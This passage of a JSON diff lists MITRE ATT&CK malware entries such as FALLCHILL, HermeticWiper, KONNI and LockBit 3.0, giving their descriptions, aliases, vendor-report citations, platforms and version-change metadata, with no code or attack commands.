"malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:58.738000+00:00", + "modified": "2025-10-22 02:34:29.842000+00:00", + "name": "Epic", + "description": "[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0091", + "external_id": "S0091" + }, + { + "source_name": "Epic", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Tavdig", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Wipbot", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "WorldCupSec", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "TadjMakhal", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Epic", + "Tavdig", + "Wipbot", + "WorldCupSec", + "TadjMakhal" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Martin Smol\u00e1r, ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:34:29.842000+00:00\", \"old_value\": \"2025-04-25 14:43:41.197000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4" + }, + { + "type": "malware", + "id": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2025-10-22 02:30:54.011000+00:00", + "name": "FALLCHILL", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0181", + "external_id": "S0181" + }, + { + "source_name": "FALLCHILL", + "description": "(Citation: US-CERT FALLCHILL Nov 2017)" + }, + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FALLCHILL" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:30:54.011000+00:00\", \"old_value\": \"2025-04-25 14:45:10.924000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19 15:30:36.593000+00:00", + "modified": "2025-10-22 02:57:05.402000+00:00", + "name": "HOPLIGHT", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0376", + "external_id": "S0376" + }, + { + "source_name": "HOPLIGHT", + "description": "(Citation: US-CERT HOPLIGHT Apr 2019)" + }, + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HOPLIGHT" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:57:05.402000+00:00\", \"old_value\": \"2024-02-09 19:24:50.164000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4" + }, + { + "type": "malware", + "id": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-25 18:30:08.906000+00:00", + "modified": "2025-10-21 23:23:39.286000+00:00", + "name": "HermeticWiper", + "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0697", + "external_id": "S0697" + }, + { + "source_name": "Trojan.Killdisk", + "description": "(Citation: CISA AA22-057A Destructive Malware February 2022)(Citation: Symantec Ukraine Wipers February 2022)" + }, + { + "source_name": "DriveSlayer", + "description": "(Citation: Crowdstrike PartyTicket March 2022)(Citation: Crowdstrike DriveSlayer February 2022)" + }, + { + "source_name": "CISA AA22-057A Destructive Malware February 2022", + "description": "CISA. (2022, February 26). Destructive Malware Targeting Organizations in Ukraine. Retrieved March 25, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a" + }, + { + "source_name": "Crowdstrike PartyTicket March 2022", + "description": "Crowdstrike. (2022, March 1). Decryptable PartyTicket Ransomware Reportedly Targeting Ukrainian Entities. Retrieved March 1, 2022.", + "url": "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine" + }, + { + "source_name": "Qualys Hermetic Wiper March 2022", + "description": "Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022.", + "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware" + }, + { + "source_name": "ESET Hermetic Wiper February 2022", + "description": "ESET. (2022, February 24). HermeticWiper: New data wiping malware hits Ukraine. Retrieved March 25, 2022.", + "url": "https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine" + }, + { + "source_name": "SentinelOne Hermetic Wiper February 2022", + "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022.", + "url": "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack" + }, + { + "source_name": "Symantec Ukraine Wipers February 2022", + "description": "Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia" + }, + { + "source_name": "Crowdstrike DriveSlayer February 2022", + "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.", + "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HermeticWiper", + "Trojan.Killdisk", + "DriveSlayer" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Mayuresh Dani, Qualys", + "Harshal Tupsamudre, Qualys" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:23:39.286000+00:00\", \"old_value\": \"2024-04-11 02:22:04.078000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-22 02:28:32.075000+00:00", + "name": "KEYMARBLE", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0271", + "external_id": "S0271" + }, + { + "source_name": "KEYMARBLE", + "description": "(Citation: US-CERT KEYMARBLE Aug 2018)" + }, + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "KEYMARBLE" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:28:32.075000+00:00\", \"old_value\": \"2025-04-25 14:42:43.623000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31 00:36:39.771000+00:00", + "modified": "2025-10-21 03:20:18.481000+00:00", + "name": "KONNI", + "description": "[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0356", + "external_id": "S0356" + }, + { + "source_name": "KONNI", + "description": "(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021)" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + }, + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + }, + { + "source_name": "Medium KONNI Jan 2020", + "description": "Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020.", + "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b" + }, + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + }, + { + "source_name": "Malwarebytes Konni Aug 2021", + "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.", + "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "KONNI" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Doron Karmi, @DoronKarmi" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:20:18.481000+00:00\", \"old_value\": \"2024-04-11 01:44:46.026000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2" + }, + { + "type": "malware", + "id": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-21 23:25:05.477000+00:00", + "name": "Kazuar", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0265", + "external_id": "S0265" + }, + { + "source_name": "Kazuar", + "description": "(Citation: Unit 42 Kazuar May 2017)" + }, + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Kazuar" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:25:05.477000+00:00\", \"old_value\": \"2025-04-25 14:43:19.859000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4" + }, + { + "type": "malware", + "id": "malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-02-02 14:57:58.026000+00:00", + "modified": "2025-10-21 22:49:31.186000+00:00", + "name": "LitePower", + "description": "[LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0680", + "external_id": "S0680" + }, + { + "source_name": "Kaspersky WIRTE November 2021", + "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022.", + "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "LitePower" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 22:49:31.186000+00:00\", \"old_value\": \"2025-04-16 20:38:22.811000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--a4578560-42cf-4075-9fa2-056f0058c881", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-01-24 22:09:44.468000+00:00", + "modified": "2025-10-21 17:57:24.341000+00:00", + "name": "LockBit 2.0", + "description": "[LockBit 2.0](https://attack.mitre.org/software/S1199) is an affiliate-based Ransomware-as-a-Service (RaaS) that has been in use since at least June 2021 as the successor to LockBit Ransomware. [LockBit 2.0](https://attack.mitre.org/software/S1199) has versions capable of infecting Windows and VMware ESXi virtual machines, and has been observed targeting multiple industry verticals globally.(Citation: FBI Lockbit 2.0 FEB 2022)(Citation: Palo Alto Lockbit 2.0 JUN 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1199", + "external_id": "S1199" + }, + { + "source_name": "Palo Alto Lockbit 2.0 JUN 2022", + "description": "Elsad, A. et al. (2022, June 9). LockBit 2.0: How This RaaS Operates and How to Protect Against It. Retrieved January 24, 2025.", + "url": "https://unit42.paloaltonetworks.com/lockbit-2-ransomware/" + }, + { + "source_name": "FBI Lockbit 2.0 FEB 2022", + "description": "FBI. (2022, February 4). Indicators of Compromise Associated with LockBit 2.0 Ransomware. Retrieved January 24, 2025.", + "url": "https://www.ic3.gov/CSA/2022/220204.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "LockBit 2.0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 17:57:24.341000+00:00\", \"old_value\": \"2025-02-06 18:59:08.263000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--71fe9df1-1c6f-430c-ab9b-ff3c11074e52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-02-05 21:28:23.240000+00:00", + "modified": "2025-10-21 23:34:46.898000+00:00", + "name": "LockBit 3.0", + "description": "[LockBit 3.0](https://attack.mitre.org/software/S1202) is an evolution of the LockBit Ransomware-as-a-Service (RaaS) offering with similarities to BlackMatter and [BlackCat](https://attack.mitre.org/software/S1068) ransomware. [LockBit 3.0](https://attack.mitre.org/software/S1202) has been in use since at least June 2022 and features enhanced defense evasion and exfiltration tactics, robust encryption methods for Windows and VMware ESXi systems, and a more refined RaaS structure over its predecessors such as [LockBit 2.0](https://attack.mitre.org/software/S1199).(Citation: Sentinel Labs LockBit 3.0 JUL 2022)(Citation: Joint Cybersecurity Advisory LockBit JUN 2023)(Citation: Joint Cybersecurity Advisory LockBit 3.0 MAR 2023)(Citation: INCIBE-CERT LockBit MAR 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1202", + "external_id": "S1202" + }, + { + "source_name": "LockBit Black", + "description": "(Citation: Joint Cybersecurity Advisory LockBit JUN 2023)(Citation: Joint Cybersecurity Advisory LockBit 3.0 MAR 2023)(Citation: Sentinel Labs LockBit 3.0 JUL 2022)" + }, + { + "source_name": "Joint Cybersecurity Advisory LockBit JUN 2023", + "description": "CISA et al. (2023, June 14). UNDERSTANDING RANSOMWARE THREAT ACTORS: LOCKBIT. Retrieved February 5, 2025.", + "url": "https://www.cisa.gov/sites/default/files/2023-06/aa23-165a_understanding_TA_LockBit_0.pdf" + }, + { + "source_name": "Joint Cybersecurity Advisory LockBit 3.0 MAR 2023", + "description": "FBI et al. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved February 5, 2025.", + "url": "https://www.cisa.gov/sites/default/files/2023-03/aa23-075a-stop-ransomware-lockbit.pdf" + }, + { + "source_name": "INCIBE-CERT LockBit MAR 2024", + "description": "INCIBE-CERT. (2024, March 14). LockBit: response and recovery actions. Retrieved February 5, 2025.", + "url": "https://www.incibe.es/en/incibe-cert/blog/lockbit-response-and-recovery-actions" + }, + { + "source_name": "Sentinel Labs LockBit 3.0 JUL 2022", + "description": "Walter, J. (2022, July 21). LockBit 3.0 Update | Unpicking the Ransomware\u2019s Latest Anti-Analysis and Evasion Techniques. Retrieved February 5, 2025.", + "url": "https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "LockBit 3.0", + "LockBit Black" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Matt Brenton, Zurich Global Information Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:34:46.898000+00:00\", \"old_value\": \"2025-02-06 19:00:57.083000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-06 01:29:34.860000+00:00", + "modified": "2025-10-21 03:17:00.503000+00:00", + "name": "MacMa", + "description": "[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) [MacMa](https://attack.mitre.org/software/S1016) shares command and control and unique libraries with [MgBot](https://attack.mitre.org/software/S1146) and [Nightdoor](https://attack.mitre.org/software/S1147), indicating a relationship with the [Daggerfly](https://attack.mitre.org/groups/G1034) threat actor.(Citation: Symantec Daggerfly 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1016", + "external_id": "S1016" + }, + { + "source_name": "DazzleSpy", + "description": "(Citation: ESET DazzleSpy Jan 2022)" + }, + { + "source_name": "OSX.CDDS", + "description": "(Citation: Objective-See MacMa Nov 2021)" + }, + { + "source_name": "ESET DazzleSpy Jan 2022", + "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.", + "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/" + }, + { + "source_name": "Symantec Daggerfly 2024", + "description": "Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset" + }, + { + "source_name": "Objective-See MacMa Nov 2021", + "description": "Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.", + "url": "https://objective-see.org/blog/blog_0x69.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MacMa", + "OSX.CDDS", + "DazzleSpy" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:17:00.503000+00:00\", \"old_value\": \"2024-07-26 17:48:10.580000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1" + }, + { + "type": "malware", + "id": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13 13:17:25.718000+00:00", + "modified": "2025-06-06 14:13:34.557000+00:00", + "name": "Machete", + "description": "[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0409", + "external_id": 